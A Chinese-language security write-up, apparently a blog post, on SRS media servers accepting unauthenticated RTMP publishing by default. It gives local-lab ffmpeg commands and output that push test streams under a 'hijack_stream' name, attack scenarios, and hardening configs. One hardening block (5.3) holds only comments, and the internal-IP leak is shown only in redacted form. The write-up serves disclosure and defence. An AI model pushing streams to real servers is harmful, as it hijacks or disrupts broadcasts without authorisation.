一条命令就能劫持SRS直播间?
声明:本文针对的是已公开、有官方修复方案的配置类安全问题(SRS RTMP 未授权推流)。所有操作均在本地靶机环境中完成,仅用于安全研究与防御学习。请勿对未授权目标进行测试。
一、漏洞背景
1.1 SRS 是什么
SRS(Simple Realtime Server)是当下最流行的开源流媒体服务器之一,在 GitHub 上有超过 25k Star。它支持 RTMP、WebRTC、HLS、HTTP-FLV 等多种协议,被大量企业用于直播、视频监控、在线教育等场景。
简单来说,SRS 就是"直播间的幕后推手"——主播推流到 SRS,观众从 SRS 拉流观看。一条直播链路大概长这样:
主播推流 ──RTMP──▶ SRS 服务器 ──HTTP-FLV/HLS──▶ 观众观看
而今天要聊的,就是这条链路的第一环——推流——如果没做认证,会发生什么。
1.2 推流未授权是什么
SRS 默认配置下,RTMP 推流端口(1935)对所有人开放,任何人都可以往服务器推送视频流。不需要账号、不需要密码、不需要 token。
用一句话概括:你只要能 连通 SRS 的 1935 端口,就能往里面推流。
1.3 危害等级:高危
危害等级:高危
二、利用条件
关键判断:这不是 SRS 的 0day,而是默认配置不当(默认不限制推流)导致的安全问题。但正因为是默认配置,公网上大量 SRS 实例都处于"裸奔"状态。
三、环境搭建
3.1 用 Docker 起 SRS
docker run -d --name srs-test \
-p 1935:1935 \
-p 1985:1985 \
-p 8080:8080 \
ossrs/srs:5.0.166
一条命令,SRS 就跑起来了。1935 是 RTMP 推流端口,1985 是 API 端口,8080 是 HTTP 分发端口。
3.2 验证服务
ffmpeg -v debug -rtmp_live live \
-i "rtmp://127.0.0.1:1935/live/stream" -t 2 -f null /dev/null
输出中能看到:
Server version 1.0.5.4
Proto = rtmp, path = /live/stream, app = live, fname = stream
Window acknowledgement size = 2500000
服务正常,RTMP 握手成功。
四、漏洞复现
4.1 第一步:无认证推流
用 ffmpeg 生成一段测试视频,直接推到 SRS:
ffmpeg -f lavfi -i "testsrc=duration=10:size=640x360:rate=25" \
-c:v libx264 -preset ultrafast -f flv \
"rtmp://127.0.0.1:1935/live/hijack_stream"
执行结果:
[rtmp @ 0x...] Handshaking...
[rtmp @ 0x...] Server version 1.0.5.4
[rtmp @ 0x...] Proto = rtmp, path = /live/hijack_stream, app = live
[rtmp @ 0x...] FCPublish stream...
[rtmp @ 0x...] Sending publish command for 'hijack_stream'
... 250 frames encoded, 100 KB data sent ...
[rtmp @ 0x...] UnPublishing stream...
不需要任何认证,推流成功。250 帧视频数据已经写入 SRS 服务器。
4.2 第二步:推流到任意 app
SRS 支持多 app 架构,推流到不同 app 也无需认证:
# 全部成功
ffmpeg ... -f flv "rtmp://127.0.0.1:1935/live/test" # ✅
ffmpeg ... -f flv "rtmp://127.0.0.1:1935/show/test" # ✅
ffmpeg ... -f flv "rtmp://127.0.0.1:1935/vod/test" # ✅
ffmpeg ... -f flv "rtmp://127.0.0.1:1935/hls/test" # ✅
4.3 第三步:可以用 RTMP 协议做探针
RTMP 握手过程中,服务器会返回 _result 消息,其中包含服务器信息。在某些配置下,_result 会泄露内网 IP:
RTMP _result 响应中包含:
local_ip: 10.x.x.x ← 内网地址泄露
server: SRS/5.0.166(Bee)
这个信息泄露配合推流能力,为攻击者提供了内网拓扑的关键情报。
4.4 实际影响
场景一:直播流劫持
如果攻击者知道目标正在使用的流名(比如 live/stream),可以直接推送覆盖,把正常直播替换成恶意内容。
场景二:资源消耗
攻击者可以批量推送大量高清视频流,占满 SRS 的带宽和磁盘,导致正常服务不可用。
场景三:内网探测
RTMP 连接参数(tcUrl、pageUrl 等)虽然不会直接触发 SRS 发起 SSRF 请求,但 _result 泄露的内网 IP 结合推流能力,为攻击者提供了内网拓扑信息。
五、修复方案
5.1 开启推流认证
SRS 支持多种认证方式,最简单的配置 srs.conf:
vhost __defaultVhost__ {
# 方式一:HTTP 回调鉴权
http_hooks {
enabled on;
on_publish http://127.0.0.1:8085/api/v1/streams;
on_unpublish http://127.0.0.1:8085/api/v1/streams;
}
# 方式二:安全规则
security {
enabled on;
publish x.x.x.x; # 只允许指定 IP 推流
}
}
5.2 配置防火墙
# 限制 1935 端口仅允许推流端 IP
iptables -A INPUT -p tcp --dport 1935 -s 推流服务器IP -j ACCEPT
iptables -A INPUT -p tcp --dport 1935 -j DROP
5.3 关闭内网信息泄露
# 禁止 SRS 返回内网地址
vhost __defaultVhost__ {
# 不要暴露内网 IP
# 在 on_connect 回调中过滤 _result 返回的 IP 信息
}
5.4 加固 API 端口
SRS 的 HTTP API 端口(1985/8080)也应限制仅内网访问:
iptables -A INPUT -p tcp --dport 1985 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 1985 -j DROP
六、总结
SRS 默认允许未认证推流的问题,本质上是"便利性优先于安全性"的典型例子。作为一个流媒体服务器,SRS 的设计初衷是让推流变得简单——一条 ffmpeg 命令就能搞定。但这也意味着,任何能访问 1935 端口的人都能推流。
如果你正在使用 SRS,建议立即检查:
1935 端口是否暴露在公网
推流是否开启了认证(
http_hooks或security)API 端口(1985/8080)是否限制访问
_result响应中是否泄露了内网信息
参考
SRS 官方文档:https://ossrs.net/lts/zh-cn/docs/v5/doc/getting-started[1]
SRS 安全配置:https://ossrs.net/lts/zh-cn/docs/v5/doc/security[2]
SRS HTTP Callback:https://ossrs.net/lts/zh-cn/docs/v5/doc/http-callback[3]
ffmpeg RTMP 文档:https://ffmpeg.org/ffmpeg-protocols.html#rtmp[4]
本文仅作安全科普,所有操作均在本地靶机环境中完成,请勿用于未授权测试。
引用链接
[1]https://ossrs.net/lts/zh-cn/docs/v5/doc/getting-started
[2]https://ossrs.net/lts/zh-cn/docs/v5/doc/security
[3]https://ossrs.net/lts/zh-cn/docs/v5/doc/http-callback
[4]https://ffmpeg.org/ffmpeg-protocols.html#rtmp